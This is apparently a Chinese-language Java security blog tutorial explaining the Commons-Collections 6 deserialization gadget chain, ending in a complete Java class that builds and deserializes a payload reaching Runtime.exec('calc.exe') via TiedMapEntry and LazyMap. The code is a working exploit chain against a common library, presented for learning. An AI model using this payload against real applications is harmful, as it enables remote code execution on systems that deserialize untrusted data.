JAVA安全-Commons-Collections6反序列化

一：前言

1：优点

在前面我们学习了CC1链，现在我们来看看CC链中的另外一条也是比较常用的一条：CC6

首先，之前我们学到的CC1链的环境必须为jdk8u65且Commons-Collections 3.2.1；而CC6相对于CC1来说好的一点就是它不受jdk版本限制也不受CC版本限制。相对来说条件要求不高，所以比较常用。

2：异同

CC6链的前半部分和CC1的LazyMap链几乎相同，并且又与URLDNS链有些许相同之处。区别就是CC1是AnnotationInvocationHandler.invoke()调用了LazyMap的get方法，而CC6是TiedMapEntry.getValue调用了LazyMap的get方法。

二：TiedMapEntry

首先我们看看yso里面CC6的代码，TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法：

之前学了URLDNS链也知道HashMap.put会调用HashMap的hashCode方法，那我们只要找到一个类调用了hashCode且这个类里面调用了LazyMap.get的话，我们这条链就完成了。而这个类就是上图中的TiedMapEntry

首先我们跟进TiedMapEntry类：

发现hashCode()方法里面调用了getValue()方法，跟进看到调用了map.get()方法且map可控，key对应的值改成恶意类就能触发反序列化了。然后查看构造函数如下图，就是赋两个值，一个map一个key。

首先尾部的链子跟之前的CC1的是差不多的（也就是执行代码和LazyMap部分）我们先构造，new 一个TiedMapEntry对象，并调用它的**getValue()方法即可，它的getValue方法会去调用map.get(key)**方法并调用LazyMap链弹出计算器：

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"keykey");
        tiedMapEntry.getValue();

现在我们确定了TiedMapEntry可以调用，然后我们将继续寻找谁调用了TiedMapEntry的getValue()方法（因为getValue方法比较常见，所以我们一般优先寻找同类方法调用）

我们分析一下HashMap的readobject方法，对他的key进行hash然后调用他的hashCode，就调用到了TiedMapEntry的hashCode，所以我们把hashMap的key值传为TiedMapEntry然后value的值可以随便写：

所以为了调用TiedMapEntry的**hashCode()**方法，我们需要将tiedMapEntry作为HashMap的key值传入。

HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");

但是我们发现只在序列化阶段就把这个链触发了，这是因为它的put方法也调用了hash，这就跟之前的URLDNS链的想法类似了：先在执行put()方法的时候，先不让其进行命令执行，在反序列化的时候再命令执行。所以我们要通过反射来修改chainedTransformer的值

我们将Map lazyMap = LazyMap.decorate(map, chainedTransformer);改成一个没有用的transformer值：Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

后面序列化的时候再通过反射修改Transformer的factory值：

此时就没有弹出计算器了，意味着序列化阶段没有触发，但当我们反序列化之后，也一样没有触发。这是为什么呢？我们来断点调试一下：

发现这里直接过了if语句，无法进入触发transform，因为map.containKey(key)的为true

（如果此映射将一个或多个键映射到指定值，则返回true。更正式地说，当且仅当此映射包含至少一个到值v的映射，使得（value== null？v ==null:value.equals（v））时，返回true。）

所以在map2.put(tiedMapEntry,"bbb");中，HashMap的put方法里面也调用到了hash(key);所以我们在put完之后就把这个key从删掉就行了。

lazyMap.remove("keykey");

此时，我们序列化的时候才不会触发恶意payload，且反序列化才会触发。

三：完整payload

整条链调用流程为：

HashMap.readObject()

->HashMap.put()

->HashMap.hash()

->TiedMapEntry.hashCode()

->TiedMapEntry.getValue()

->LazyMap.get()

->ChainedTransformer.transform()

->InvokerTransformer.transform()

->Runtime.exec()

package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"keykey");

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove("keykey");


        Class c =LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        //serialize(map2);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

PS：自从被学校遣返回家开始连着出去跟朋友玩了几天，朋友圈也越来越多的朋友成小阳人了，我现在喉咙也开始痛了T_T

很难过，希望大家快点好起来，不然我过年的麻将计划就泡汤了o。O？